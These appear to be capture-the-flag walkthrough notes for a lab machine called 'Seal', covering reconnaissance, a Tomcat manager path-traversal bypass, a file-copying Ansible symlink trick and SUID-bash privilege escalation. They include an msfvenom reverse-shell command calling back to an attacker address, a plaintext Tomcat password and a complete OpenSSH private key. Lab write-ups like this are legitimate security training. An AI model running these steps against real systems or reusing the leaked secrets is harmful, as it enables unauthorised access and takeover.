Machine - Seal

Machine - Seal

• nmap → 22,443,5555,8080

• nmap

  • 443 has a webpage
  • 8080 has another (gitbucket)
  • 5555 is kind of close

• fuzz 443

000000016:   302        0 L      0 W        0 Ch        "images"
000000259:   302        0 L      0 W        0 Ch        "admin"
000000444:   302        0 L      0 W        0 Ch        "icon"
000000550:   302        0 L      0 W        0 Ch        "css"
000000953:   302        0 L      0 W        0 Ch        "js"
000001688:   302        0 L      0 W        0 Ch        "shell"
000004889:   302        0 L      0 W        0 Ch        "manager"
000009220:   302        0 L      0 W        0 Ch        "shells"

• fuzz 8080

  • create an account
  • look at the source code
  • found this <user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
  • used a fuzz special for tomcat https://github.com/danielmiessler/SecLists
  • found that we can access the status page..
  • the one we want to use is manager/html, cause nginx has a rule that doesn’t allow us to access
  • HINT → nginx doesn’t resolve /..;/ but tomcat does. so we can do /manager/..;/manager/html to bypass the nginx location rule (https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)
  • https://10.10.10.250/manager/..;/manager/html
  • https://10.10.10.250/manager/..;/admin/dashboard/
  • Seems that now we can just upload a war that will give us a reverse shell!
  • https://book.hacktricks.xyz/pentesting/pentesting-web/tomcat
  • msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.103 LPORT=4242 -f war > reverse.war
  • Upload the war file (need a bit of help of the burp suite for change the url but worked!)
  • go to the url and!
  • we got the reverse shell

• shell as tomcat

  • found that a ansible is sudo as luis executing some playbooks every 30 secs…
  • abusing of the ansible (which I could not modify), but was copying files using following sym links
  • copied luis folder and got his private key

-----BEGIN OPENSSH PRIVATE KEY-----
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
u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=
-----END OPENSSH PRIVATE KEY-----

• get into root
  • sudo -l → shows us we can execute ansible as root
  • we generated a small ansible playbook that give suid to the bash binary
  • bash -p → we are root now!